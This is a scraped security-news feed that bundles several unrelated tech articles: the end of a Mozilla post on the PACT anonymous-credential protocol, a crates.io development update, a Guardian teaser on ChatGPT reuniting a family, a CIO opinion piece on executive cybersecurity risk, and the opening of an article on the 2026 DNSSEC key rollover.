<p class="c28"><span class="c0">Enabling Moderators that cover many sites carries a centralisation risk, simila</span><span class="c1">r </span><span class="c0">to the concentration we see today in anti-abuse providers. The mitigation is that the choice of Moderator stays with each site, and the choice of trusted Anchors stays with each Moderator. Th</span><span class="c1">is</span><span class="c0"> </span><span class="c1">can’t</span><span class="c0"> reverse the centralisation pressure the web already faces, but it </span><span class="c1">ensures this system won’t lead to additional lock-in</span><span class="c0">: a new Anchor or a new Moderator can be adopted without coordinating with a dominant vendor. </span></p>
<p class="c46"><span class="c0">The </span><span class="c1">system then has three flows</span><span class="c0">.</span><span class="c0"> First, the user </span><span class="c1">receives</span><span class="c0"> Endorsements from an Anchor in the course of normal interaction</span><span class="c1">, based on the Anchor’s positive view of the user</span><span class="c0">. This is </span><span class="c0">a relatively rare operation for any given user and Anchor. After all, as our source of scarcity, Endorsements should not be too easy to accumulate.</span></p>
<p class="c10"><img alt="" title=""><img alt="A diagram showing the PACT Anchor Flow" class="aligncenter size-full wp-image-48377" height="1789" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-3.excalidraw1-scaled.png" width="2560"></p>
<p class="c10"><strong><span class="c20 c1">Figure 3</span></strong><span class="c1">: <em>In the course of normal browsing, clients browse to websites they have a relationship with. These sites can act as Anchors by issuing Endorsements to clients.</em></span></p>
<p class="c26"><span class="c0">Second, when the user arrives at a site that works with a Moderator, the browser spends an Endorsement from an Anchor the Moderator trusts and receives a Credential in return. The presentation hides </span><span class="c13 c11 c1">which </span><span class="c0">Anchor was used, and </span><span class="c1">neither the Anchor nor the Moderator can trace the Endorsement back to where it was issued</span><span class="c0">. The Moderator decides what initial balance the Credential starts with. If the user has no Endorsements from suitable Anchors at all, existing mechanisms (CAPTCHAs, account creation, federated login) </span><span class="c1">could be used to</span><span class="c0"> bootstrap a Credential the same way, so the system degrades to today’s experience rather than locking the user out.</span></p>
<p class="c7"><img alt="" title=""><img alt="A diagram showing the protocol flow between Anchors and Moderators" class="aligncenter size-full wp-image-48378" height="1789" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-4.excalidraw1-scaled.png" width="2560"></p>
<p class="c7"><span class="c20 c1"><strong>Figure 4</strong></span><span class="c1"><strong>:</strong><em> When the client browses to a site, it can prompt the client for a Credential from the Moderator it uses. If the Client doesn’t have a suitable Credential, but does have a suitable Endorsement, it can exchange it for a Credential with the Moderator. In practice, the Moderator and the Site might be the same server. </em></span><em><span class="c0"> </span></em></p>
<p class="c25"><span class="c0">Third, as the user browses, the browser presents the Credential and the Moderator updates </span><span class="c1">the internal state of the Credential</span><span class="c0">. The </span><span class="c1">Moderator can reward </span><span class="c0">behaviour that looks benign and </span><span class="c1">penalize suspicious activity</span><span class="c0">, </span><span class="c1">but can’t track the use of the Credential or identify it if it’s used on other sites the Moderator covers</span><span class="c0">. </span><span class="c0">Revocation falls out of the same mechanism: a Moderator </span><span class="c1">can refuse to return an updated Credential</span><span class="c0">.</span><span class="c0"> </span></p>
<p class="c7"><img alt="" title=""><img alt="A diagram showing the PACT Moderator Flow" class="aligncenter size-full wp-image-48379" height="1618" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-5.excalidraw1-scaled.png" width="2560"></p>
<p class="c7"><strong><span class="c20 c1">Figure 5</span></strong><span class="c0"><strong>:</strong> <em>The Client can present the Credential on sites which use the matching Moderator. Sites can check if the Credential is in good standing. The sites can then adjust the access the Credential has in response to behaviour. E.g. increasing it when they gain confidence in the client or reducing it in response to malicious behaviour.</em></span></p>
<p class="c23"><span class="c0">In practice, all of this would happen transparently to the user through a WebAPI that sites acting as Anchors or Moderators would call from JavaScript. In an ideal ecosystem, users would accumulate Endorsements through normal browsing, just by virtue of the sites they already visit, and the rest of the flow would happen in the background as they move around the web, leaving </span><span class="c1">users</span><span class="c0"> with meaningfully less friction. </span></p>
<p class="c16"><span class="c0">AI agents acting on behalf of a user slot into the same flow. An agent can carry its user’s Credentials, in which case the user remains accountable for how the agent </span><span class="c1">behaves.</span><span class="c0"> </span><span class="c1">S</span><span class="c0">ites would not need to grant any more access than they would to the user themselves. Alternatively, the operator of an agent can run its own Anchor and vouch for its agents the way other Anchors vouch for human users. </span><span class="c0">Sites retain control over which Anchors they accept, so they can choose how to treat agent traffic without needing a separate detection mechanism. </span></p>
<p class="c6"><span class="c0">Several mechanisms combine to keep the information about a user that flows out close to a single bit. Cryptographic unlinkability ensures successive Credential presentations cannot be tied to each other or to the original issuance, so a user’s visits cannot be </span><span class="c1">joined</span><span class="c0"> into a history. Each site is bound to a single Moderator, so the set of Moderators a user has Credentials with never becomes a cross-site fingerprint. The Anchor-to-Credential exchange happens in an isolated browsing context, so during ordinary browsing the only thing the site or its Moderator ever observes is a Credential presentation: </span><span class="c1">the site only learns if </span><span class="c0">the user has a valid Credential below the rate limit, or </span><span class="c1">nothing</span><span class="c0">. </span><span class="c1">W</span><span class="c0">hen the Moderator updates a </span><span class="c1">Credential</span><span class="c0">, it</span><span class="c0"> adjusts the credentials state without learning what it is.</span></p>
<p class="c6"><span class="c1">The additional privacy given to users from </span><span class="c0">Issuer blinding</span><span class="c1"> makes participating in the system more challenging for Moderators</span><span class="c0">. Because the Moderator can’t see which Anchor backed a Credential at issuance, it can’t give a Credential from a strong Anchor </span><span class="c1">more access</span><span class="c0"> than one from a weak Anchor: doing so would itself leak which Anchor was used. The initial </span><span class="c1">access</span><span class="c0"> has to be uniform across the Moderator’s whole pool of Anchors, which in practice means setting it at the strength of the weakest. </span><span class="c1">However, this is only relevant for that initial access, the Moderator can update credentials according to the holder’s behavior, enabling Credential’s to accrue access over time.</span></p>
<p class="c42"><span class="c0">Building an open ecosystem also requires that sites can make effective decisions about the Anchors they choose to trust</span><span class="c1">. M</span><span class="c0">ultiparty computation systems like </span><span class="c0">Prio</span><span class="c0"> enable aggregate scoring without compromising pr</span><span class="c1">ivacy</span><span class="c0">. When users present Credentials, they can provide an encrypted share which identifies the anchor they use</span><span class="c1">d and can be privately aggregated to compute the quality of an issuer.</span></p>
<h3 class="c24"><span class="c2 c1">Next Steps </span></h3>
<p class="c49"><span class="c1">We think the</span><span class="c0"> architecture we</span><span class="c1">’ve </span><span class="c0">sketched </span><span class="c1">for PACT </span><span class="c0">has the right shape, but many of the details still need to be worked out</span><span class="c1"> and the entire system needs rigorous privacy and security analysis.</span></p>
<p class="c45"><span class="c0">We want to do that work in the open. The IETF is the natural venue for the cryptographic protocols underneath, and the W3C for the WebAPI surface that sits on top. </span><span class="c0">We’ll be </span><span class="c1">bringing</span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://github.com/Moderation-of-unLinkable-Endorsements">draft specifications</a></span><span class="c1"> to these bodies as soon as they’re ready</span><span class="c0">, and we welcome collaborators from across the ecosystem: browser vendors, site operators, anti-abuse providers, and the cryptography community. </span></p>
<p class="c29"><span class="c0">If successful, we think we can provide a system which will keep the web open and </span><span class="c1">private</span><span class="c0">, while still giving sites the rate-limiting signal they need. </span></p>
<h3 class="c29"><span class="c2 c1">Acknowledgements</span></h3>
<p class="c4"><em><span class="c11 c1">The ideas described here are the result of collaboration and conversations with many people, including: Watson Ladd, Thibault Meunier, Michele Orrù, Trevor Perrin, Eric Rescorla, Samuel Schlesinger, Martin Thomson, Eric Trouton, Benjamin Vandersloot &amp; Cathie Yun.</span></em><span class="c11 c1"><em> </em> </span></p>
<hr class="c58">
<div>
<p class="c31"><a href="https://hacks.mozilla.org/?p=48374#:~:text=%5B1%5D">[1]</a><span class="c0"> PAT requires that the source of scarcity and an independent issuer be trusted not to collude. If they do, they can track users as they interact with the system. This is not suitable in the context of an open system where any party could play those two roles.</span></p>
</div>
<p>The post <a href="https://hacks.mozilla.org/2026/06/pact-anonymous-credentials-for-the-web/">PACT: Anonymous Credentials for the Web</a> appeared first on <a href="https://hacks.mozilla.org/">Mozilla Hacks - the Web developer blog</a>.</p>]]></content:encoded>
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<item>
<title><![CDATA[The Rust Programming Language Blog: crates.io: development update]]></title>
<description><![CDATA[Another six months have passed since our last development update, and the crates.io team has been busy. Here's a summary of the most notable changes and improvements made to crates.io since then.

Source Code Viewer
Crate pages now have a "Code" tab that lets you browse the contents of published ...]]></description>
<link>https://tsecurity.de/de/3693285/tools/the-rust-programming-language-blog-cratesio-development-update/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693285/tools/the-rust-programming-language-blog-cratesio-development-update/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:18 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Another six months have passed since our <a href="https://blog.rust-lang.org/2026/01/21/crates-io-development-update/" rel="external">last development update</a>, and the crates.io team has been busy. Here's a summary of the most notable changes and improvements made to <a href="https://crates.io/" rel="external">crates.io</a> since then.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#source-code-viewer"></a>
Source Code Viewer</h3>
<p>Crate pages now have a "Code" tab that lets you browse the contents of published crate versions directly on crates.io. This shows you the exact files that <code>cargo</code> downloads when you add a crate as a dependency, which might differ from the linked repository. This makes it much easier to audit your dependencies, including files that never appear in the repository, like the normalized <code>Cargo.toml</code> files that <code>cargo</code> generates.</p>
<p><img alt='Source code viewer showing the "Code" tab of the serde crate' src="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/code-tab.png"></p>
<p>The viewer comes with a file tree sidebar with search functionality, syntax highlighting, and GitHub-style line selection, where clicking or dragging line numbers produces shareable <code>#L10-L20</code> URLs.</p>
<p>Under the hood, the server now builds a zip file for every published version. Since the <code>.crate</code> files that <code>cargo</code> consumes are gzipped tarballs without random access support, a background job re-packs each of them into a seekable zip archive plus a JSON manifest describing the contained files. Both are served from our static CDN. The frontend then fetches only the manifest and loads each file on demand with an HTTP range request. Because of this architecture, browsing crate sources essentially adds no load on the crates.io API servers. Existing crate versions have been backfilled, so this works for old releases too.</p>
<p>The rendering library behind the code viewer is a diff renderer at heart, and that's no accident: a version-to-version diff viewer built on the same infrastructure is currently in the works. This will allow you to review exactly what changed between two published versions, right on crates.io. Stay tuned!</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#untangling-crates-io-accounts-from-github"></a>
Untangling crates.io Accounts from GitHub</h3>
<p>At the end of May, the crates.io team accepted <a href="https://github.com/rust-lang/rfcs/pull/3946" rel="external">RFC #3946</a>. Crates.io accounts always have been tightly coupled to GitHub: signing in means "Log in with GitHub", and your crates.io identity is your GitHub username. The RFC changes that. It introduces usernames that are native to crates.io and independent of linked GitHub accounts, as a prerequisite for eventually supporting login via other identity providers.</p>
<p>The implementation of crates.io usernames has started, but there is still a lot left to do, most visibly the ability to change your crates.io username. After that is complete, there will be future RFCs and implementation for signing in with identity providers other than GitHub. Since all of this touches authentication and account security, we are deliberately taking it slow and rolling these changes out in small, carefully reviewed steps.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#advisories-and-suggestions"></a>
Advisories and Suggestions</h3>
<p>In our <a href="https://blog.rust-lang.org/2026/01/21/crates-io-development-update/" rel="external">January update</a> we introduced the "Security" tab, which shows security advisories from the <a href="https://rustsec.org/" rel="external">RustSec</a> database. We have since taken this integration one step further: crates that RustSec has flagged as unmaintained now show a warning banner directly on their crate pages, linking to the corresponding advisory for details and possible alternatives. Thanks to <a href="https://github.com/djc" rel="external">Dirkjan Ochtman</a> for implementing this feature!</p>
<p><img alt="Unmaintained warning banner on the ansi_term crate page" src="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/unmaintained-banner.png"></p>
<p>Related to this, some popular crates have been largely absorbed into the Rust standard library over the years, like <code>lazy_static</code>, which has been superseded by <code>std::sync::LazyLock</code> since Rust 1.80. Crate pages of such crates now show a friendly "You might not need this dependency" banner describing the standard library replacement, and superseded crates in dependency lists get a small light bulb icon with a similar hint.</p>
<p><img alt='"You might not need this dependency" banner on the lazy_static crate page' src="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/std-replacement-banner.png"></p>
<p>The dataset behind this feature lives in the new <a href="https://github.com/rust-lang/std-replacement-data" rel="external">rust-lang/std-replacement-data</a> repository, together with a documented inclusion policy: standard library replacements only, every entry must cite the stable <code>std</code>, <code>core</code>, or <code>alloc</code> API and Rust version, and crate maintainers get a notice-and-comment window before an entry is added. New entries can be proposed upstream and can benefit other tools too.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#ferris"></a>
Ferris</h3>
<p>The most delightful change of this cycle: the Ferris on our error pages now follows your mouse cursor with its eyes:</p>
<p><img alt="Ferris' eyes following the mouse cursor on the error page" src="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/ferris.gif"></p>
<p>Getting a 404 error on crates.io is now slightly less sad.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#svelte-frontend-migration-completed"></a>
Svelte Frontend Migration Completed</h3>
<p>In our <a href="https://blog.rust-lang.org/2026/01/21/crates-io-development-update/" rel="external">January update</a>, we announced that we were experimenting with porting the crates.io frontend from Ember.js to <a href="https://svelte.dev/" rel="external">Svelte</a>. This experiment has concluded successfully: the new frontend reached feature parity, went through a <a href="https://blog.rust-lang.org/inside-rust/2026/04/17/crates-io-svelte-public-testing/" rel="external">public testing phase</a> in April, became the default at the beginning of May, and the Ember.js app has been removed from our repository.</p>
<p>We designed this change to be invisible for our users, since the new frontend is a 1:1 port of the previous design and functionality. For the team and our contributors, however, it is a big deal: the frontend is now built on a more modern framework, which should make it easier for new contributors to get started. It also allows us to iterate faster, as the source code viewer above demonstrates.</p>
<p>We want to thank the <a href="https://emberjs.com/teams/" rel="external">Ember.js team</a> for a framework that served crates.io well for many years, and the Svelte team for making the transition so enjoyable.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#miscellaneous"></a>
Miscellaneous</h3>
<p>These were some of the more visible changes to crates.io over the past six months, but a lot has happened "under the hood" as well:</p>
<ul>
<li>
<p><strong>Search performance</strong>: Relevance-sorted search queries previously ranked every crate matching the query, which could take 1-2 seconds for short or common search terms. Ranking is now bounded to the 1,000 matching crates with the highest recent download counts.</p>
</li>
<li>
<p><strong>Reverse dependencies performance</strong>: The reverse dependencies endpoint no longer recomputes the full dependent set on every request. It is now served from a precomputed table kept in sync by database triggers, turning an expensive join into a bounded index scan and greatly reducing the chance of getting a timeout error.</p>
</li>
<li>
<p><strong>New ARCHITECTURE.md</strong>: If you've ever wondered how crates.io actually works, our <a href="https://github.com/rust-lang/crates.io/blob/main/docs/ARCHITECTURE.md" rel="external"><code>ARCHITECTURE.md</code></a> document got a complete rewrite. It is now organized around the high-level systems that make up crates.io and how they fit together, and includes walkthroughs of what happens when you run <code>cargo publish</code>, why a typical crate download never touches our API servers, and how download counts are derived from CDN access logs.</p>
</li>
<li>
<p><strong>Definition lists</strong>: READMEs now render Markdown <a href="https://github.com/rust-lang/crates.io/pull/13950" rel="external">definition lists</a>, a widely used Markdown extension. Our markdown renderer <a href="https://crates.io/crates/comrak" rel="external">comrak</a> already supported them, the extension just wasn't enabled yet. Thanks to <a href="https://github.com/mistaste" rel="external">@mistaste</a> for this contribution!</p>
</li>
<li>
<p><strong>CDN cache tags</strong>: Files uploaded to our static CDN now carry cache-tag metadata, allowing us to invalidate all cached files of a crate or a specific release in a single operation, instead of issuing one invalidation per file URL.</p>
</li>
<li>
<p><strong>Caching improvements</strong>: We removed a global <code>Vary: Cookie</code> response header that was preventing our CDNs from caching public API responses and frontend assets effectively. Per-user responses now use <code>Cache-Control: no-store</code> instead, resulting in better cache hit rates at the CDN edge.</p>
</li>
<li>
<p><strong>Accessibility</strong>: We have made crates.io friendlier to screen readers: decorative icons are now hidden from the accessibility tree, heading hierarchies have been fixed, and lists are marked up as proper lists. ARIA snapshot tests now ensure that regressions can't slip in unnoticed. We plan to continue to improve crates.io accessibility over the coming months.</p>
</li>
<li>
<p><strong>Git index performance</strong>: The background worker's local clone of the git index is now a bare and shallow repository, eliminating roughly 250,000 checked-out files and the full commit history from its disk, improving its performance as we see increased rates of crate publication. The periodic index squashing now goes through the GitHub API instead of generating large git packs locally, which had previously caused out-of-memory failures on the production worker.</p>
</li>
</ul>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#feedback"></a>
Feedback</h3>
<p>We hope you enjoyed this update on the development of crates.io. If you have any feedback or questions, please let us know on <a href="https://rust-lang.zulipchat.com/#narrow/stream/318791-t-crates-io" rel="external">Zulip</a> or <a href="https://github.com/rust-lang/crates.io/discussions" rel="external">GitHub</a>. We are always happy to hear from you and are looking forward to your feedback!</p>]]></content:encoded>
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<title><![CDATA[‘I thought, I’ve tried everything else, why not give AI a shot?’: the long-lost family reunited by ChatGPT]]></title>
<description><![CDATA[Avtar spent decades wondering what happened to the mother he never got to know. Thousands of miles away, Nicci was haunted by the story of a half-brother given away before she was born. How did a chatbot bring them together?As a small boy growing up in Amritsar, India, in the 1960s, Avtar Singh u...]]></description>
<link>https://tsecurity.de/de/3693154/it-nachrichten/i-thought-ive-tried-everything-else-why-not-give-ai-a-shot-the-long-lost-family-reunited-by-chatgpt/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693154/it-nachrichten/i-thought-ive-tried-everything-else-why-not-give-ai-a-shot-the-long-lost-family-reunited-by-chatgpt/</guid>
<pubDate>Sat, 25 Jul 2026 07:28:08 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Avtar spent decades wondering what happened to the mother he never got to know. Thousands of miles away, Nicci was haunted by the story of a half-brother given away before she was born. How did a chatbot bring them together?</p><p>As a small boy growing up in Amritsar, India, in the 1960s, Avtar Singh used to hear whispers. <em>Your mum isn’t really your mum</em>, the rumours would say. <em>Your mum lives abroad.</em> Avtar didn’t really pay any attention to it. “I thought, the neighbours are just making up stories.” But the stories were true: the woman raising Avtar was actually his grandmother. When he was too young to remember it, his father had emigrated to Canada to work as a teacher, leaving Avtar in the care of his paternal grandparents. His grandfather, a police officer, was a fearsome authoritarian, but his grandmother brought him up with tenderness, as if he were her own son. She called him by his nickname, Titu. He felt loved.</p><p>When Avtar was around eight years old, he was told about his family in Canada: his dad, his mum and a little brother were waiting for him there, and he would soon travel to join them. Just after his ninth birthday, Avtar found himself sitting on a plane, dressed in a three‑piece suit and tie. He was travelling alone. He had never flown before. He didn’t speak a word of English. He landed in Halifax, Nova Scotia, on Christmas Eve, 1968; his family met him at the airport and took him home. “I didn’t know what to think,” Avtar, now 66, tells me in a video call from his home in Abbotsford, British Columbia. “Before I knew it, it was the first week of January, and I was put in school.”</p> <a href="https://www.theguardian.com/lifeandstyle/ng-interactive/2026/jul/25/long-lost-family-reunited-chatgpt-artificial-intelligence-ai">Continue reading...</a>]]></content:encoded>
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<title><![CDATA[3 cybersecurity issues that should keep every CEO awake at night]]></title>
<description><![CDATA[For years, I have been saying that cybersecurity is no longer a technology problem. It has become a business leadership challenge.



Yet, despite record levels of spending, ever-growing security teams, increasingly sophisticated technologies and a constant stream of new regulations, organization...]]></description>
<link>https://tsecurity.de/de/3693088/it-nachrichten/3-cybersecurity-issues-that-should-keep-every-ceo-awake-at-night/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693088/it-nachrichten/3-cybersecurity-issues-that-should-keep-every-ceo-awake-at-night/</guid>
<pubDate>Sat, 25 Jul 2026 06:16:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">For years, I have been saying that cybersecurity is no longer a technology problem. It has become a business leadership challenge.</p>



<p class="wp-block-paragraph">Yet, despite record levels of spending, ever-growing security teams, increasingly sophisticated technologies and a constant stream of new regulations, organizations continue to suffer major cyber incidents with alarming regularity. Every week seems to bring news of another ransomware attack, supply chain compromise or data breach affecting organizations that many would have assumed were well protected.</p>



<p class="wp-block-paragraph">The obvious conclusion is that we are asking the wrong questions.</p>



<p class="wp-block-paragraph">Too many executive teams remain preoccupied with the latest threat actor, the newest security product the CISO wants to buy or the latest vulnerability making headlines. Those issues matter, but they are not what should be keeping CEOs awake at night.</p>



<p class="wp-block-paragraph">In my view, there are three far more fundamental issues that deserve the attention of every chief executive.</p>



<h2 class="wp-block-heading">1. Corporate complexity, and the widening gap between business leadership and cybersecurity reality</h2>



<p class="wp-block-paragraph">Perhaps the biggest cybersecurity risk facing large organizations today is not technical at all.</p>



<p class="wp-block-paragraph">It is the growing disconnect between executive perception and operational reality.</p>



<p class="wp-block-paragraph">Many boards genuinely believe their organizations are reasonably well protected. They receive regular dashboards showing improving maturity scores, increasing compliance levels, falling vulnerability counts and reassuring traffic-light reports.</p>



<p class="wp-block-paragraph">Unfortunately, cyber attackers do not read dashboards.</p>



<p class="wp-block-paragraph">Behind those executive reports often lies an increasingly complex technology landscape, thousands of unmanaged digital assets, ageing infrastructure, rampant shadow IT, fragmented ownership, inconsistent governance and security teams struggling to keep pace with relentless business change.</p>



<p class="wp-block-paragraph">The problem is rarely a lack of effort.</p>



<p class="wp-block-paragraph">It is that corporate complexity has reached a level where traditional governance mechanisms are no longer capable of providing an accurate picture of organizational resilience.</p>



<p class="wp-block-paragraph">Executives believe they understand the level of cyber risk they face because they receive regular reports. Those reports often measure activity rather than resilience.</p>



<p class="wp-block-paragraph">Governance committees end up debating around another percentage point of phishing awareness or vulnerability remediation, while fundamental issues remain unaddressed in the background.</p>



<h2 class="wp-block-heading">2. Organizational inertia, and the need for executive structure to evolve faster</h2>



<p class="wp-block-paragraph">Cyber criminals continue to evolve rapidly. Large organizations generally do not.</p>



<p class="wp-block-paragraph">This is the second issue that should concern every CEO.</p>



<p class="wp-block-paragraph">Throughout my career, I have observed organizations repeatedly responding to new cyber threats by adding another technology platform, another monitoring capability, another compliance framework or another governance committee.</p>



<p class="wp-block-paragraph">Very rarely do they stop to redesign how cybersecurity operates.</p>



<p class="wp-block-paragraph">The result is what I described several years ago as the “<a href="https://www.amazon.com/Cybersecurity-Spiral-Failure-How-Break/dp/1637353057/">Cybersecurity Spiral of Failure</a>”.</p>



<ul class="wp-block-list">
<li>As complexity and regulation increase, organizations invest in more security products.</li>



<li>More products create more complexity.</li>



<li>More products and greater complexity generate more alerts.</li>



<li>More alerts require more analysts.</li>



<li>More analysts produce more reports.</li>



<li>More reports continue to build up executive confidence.</li>



<li>Meanwhile, the underlying structural weaknesses remain largely unchanged, technical debt piles up and costs escalate.</li>
</ul>



<p class="wp-block-paragraph">And when the inevitable breach eventually happens, reality reveals itself, but distrust also sets in between senior executives and security teams.</p>



<p class="wp-block-paragraph">This is not a funding problem. Nor is it a skills problem. It is fundamentally an operating model problem.</p>



<p class="wp-block-paragraph">Many organizations continue trying to solve twenty-first century challenges using governance, accountability, organizational and reporting structures designed twenty-five years ago.</p>



<p class="wp-block-paragraph">The cybersecurity function itself has evolved dramatically. Many executive structures have not.</p>



<p class="wp-block-paragraph">This organizational inertia extends beyond technology: It affects budgeting cycles, <a href="https://www.cio.com/article/4193990/reallocating-cybersecurity-capital-in-the-mythos-era.html">investment priorities</a>, procurement processes, accountability models and decision-making speed.</p>



<p class="wp-block-paragraph">Cyber attackers innovate every day. Organizational change often takes years.</p>



<p class="wp-block-paragraph">That imbalance should worry every CEO.</p>



<h2 class="wp-block-heading">3. Accelerating technological disruption, and how it challenges organizations in areas where they are intrinsically weak</h2>



<p class="wp-block-paragraph">The third issue is potentially the most significant over the coming decade.</p>



<ul class="wp-block-list">
<li>Artificial intelligence, autonomous agents and machine identities</li>



<li>Software supply chain complexity.</li>



<li>Quantum computing, and post-quantum cryptography</li>
</ul>



<p class="wp-block-paragraph">Each of these developments represents far more than another technical trend.</p>



<p class="wp-block-paragraph">Together, they fundamentally change the dynamics of cybersecurity.</p>



<p class="wp-block-paragraph">Artificial intelligence is transforming countless business processes. At the same time, it is also increasing both the speed and sophistication of cyber-attacks while simultaneously transforming defensive capabilities.</p>



<p class="wp-block-paragraph">Organizations have become increasingly dependent on software ecosystems that extend far beyond their own direct control. Engaging with the supply chain in ways that lead to a genuine appreciation of the risks involved has become a key challenge for most cybersecurity practices.</p>



<p class="wp-block-paragraph">Quantum computing may eventually invalidate much of today’s cryptographic algorithms, forcing organizations into one of the largest technology efforts since Y2K — but without the benefit of a fixed deadline and faced by a problem that is considerably more complex and hyperconnected IT estates that have little to do with those of the late 90s.</p>



<p class="wp-block-paragraph">None of these challenges can be solved overnight: They require clear governance, sustained investment over a few years and cross-functional organizational coordination.</p>



<p class="wp-block-paragraph">Most large organizations are weak on those three fronts: This is precisely why CEOs should be focusing on them now.</p>



<p class="wp-block-paragraph">Waiting until some of those risks become obvious will almost certainly be too late.</p>



<p class="wp-block-paragraph">Businesses naturally prioritise immediate commercial pressures. Cybersecurity often involves preparing for risks whose timing remains uncertain.</p>



<p class="wp-block-paragraph">But one of the greatest leadership failures I keep seeing remains the inability of organizations to act decisively on known unknowns.</p>



<p class="wp-block-paragraph">That tension explains why many organizations delay action until external events force them to respond. Unfortunately, cybersecurity rarely rewards late action.</p>



<h2 class="wp-block-heading">Leadership will determine who succeeds</h2>



<p class="wp-block-paragraph">Cybersecurity discussions still frequently focus on technology. I believe they should focus far more on leadership.</p>



<p class="wp-block-paragraph">Technology will continue evolving. Threat actors will continue adapting. Regulations will continue expanding. Those developments are inevitable.</p>



<p class="wp-block-paragraph">What remains within the control of every CEO is how their organization responds.</p>



<p class="wp-block-paragraph">Does cybersecurity remain an IT issue? Or is it recognised as an integral part of business resilience?</p>



<p class="wp-block-paragraph">How is cybersecurity accountability assigned at executive level? Or does it still rest largely with a CISO hidden in the organization?</p>



<p class="wp-block-paragraph">Does the board spend sufficient time discussing resilience? Or does cybersecurity appear only when approving budgets or reviewing incidents?</p>



<p class="wp-block-paragraph">These questions will increasingly determine organizational success.</p>



<p class="wp-block-paragraph">The companies that navigate the next decade successfully will not necessarily be those spending the most on cybersecurity. Nor will they be those deploying the latest security technologies first.</p>



<p class="wp-block-paragraph">They will be the organizations whose leadership recognises that cybersecurity has become a permanent business capability — embedded into governance, strategy, operational decision-making and organizational culture.</p>



<p class="wp-block-paragraph">That transformation cannot be delegated. It begins with the CEO.</p>



<p class="wp-block-paragraph">And perhaps that is the single biggest issue that should keep every chief executive awake at night: Not when the next cyber-attack will happen, but whether their organization is evolving quickly enough on those matters to meet a threat landscape that is changing much faster than the business itself.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[CIOs beware: DNS KSK rollover could kick off wave of mysterious outages]]></title>
<description><![CDATA[Predicting an outage is tricky business, but CIOs might want to circle Oct. 11, 2026, through Jan. 11, 2027, for likely trouble of a potentially widespread and puzzling nature.



That’s because a relatively trivial update to DNSSEC on Oct. 11, one that will take full effect by Jan. 11, is likely...]]></description>
<link>https://tsecurity.de/de/3693085/it-nachrichten/cios-beware-dns-ksk-rollover-could-kick-off-wave-of-mysterious-outages/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693085/it-nachrichten/cios-beware-dns-ksk-rollover-could-kick-off-wave-of-mysterious-outages/</guid>
<pubDate>Sat, 25 Jul 2026 06:16:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Predicting an outage is tricky business, but CIOs might want to circle Oct. 11, 2026, through Jan. 11, 2027, for likely trouble of a potentially widespread and puzzling nature.</p>



<p class="wp-block-paragraph">That’s because a relatively trivial update to DNSSEC on Oct. 11, one that will take full effect by Jan. 11, is likely to deliver a series of seemingly unrelated system outages. This will come from oceans of dependencies from third-party, shadow, agentic, gen AI, SaaS, homegrown, and legacy apps — among many other quiet executable hiding spots, including virtual environments and containers.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/joshithak/">Sai Joshitha Kathari</a>, senior site reliability engineer at payment card giant Visa, says most enterprises have far more DNS-related exposure than they realize because of these many dependencies.</p>



<p class="wp-block-paragraph">“This has the potential to create real downstream destruction when unresolved failures sit underneath important business functions,” Kathari says. </p>



<p class="wp-block-paragraph">The danger is that so many of these issues are either unknown to IT or handled by a third-party vendor and no one in IT has had reason to ask those vendors about DNS updates. </p>



<p class="wp-block-paragraph">“The risky areas are usually not the obvious managed DNS services. They are the older internal applications, hardcoded resolvers, containerized workloads, sidecar configurations, custom scripts, partner integrations, VM images, stale base images, and service-to-service dependencies that nobody has touched in a long time,” Kathari explains. “These systems can keep working quietly for years, then fail during a DNS or certificate-related change because they bypassed the normal platform standards.”</p>



<p class="wp-block-paragraph">Independent technology analyst <a href="https://www.linkedin.com/in/carmi/">Carmi Levy</a> says that CIOs need to take this event very seriously. </p>



<p class="wp-block-paragraph">“The two-pronged deadline — October 11, 2026, when the new Key Signing Key (KSK) begins signing the root zone, and January 11, 2027, when the old key is retired — should be marked in red on everyone’s calendar, just as December 31, 1999, once was,” Levy says. “Failure to comply could result in websites, critical business applications, and related resources dropping off the face of the Earth once the transition is complete.”</p>



<p class="wp-block-paragraph">Levy adds: “Custom-built code that lives outside conventional support mechanisms may or may not function when the DNS changes go into effect.”</p>



<p class="wp-block-paragraph">The <a href="https://www.icann.org/resources/press-material/release-2026-05-20-en">DNSSEC update itself</a> is straightforward, but it is also the first significant DNSSEC change — specifically a change in the trust anchor — since 2018. </p>



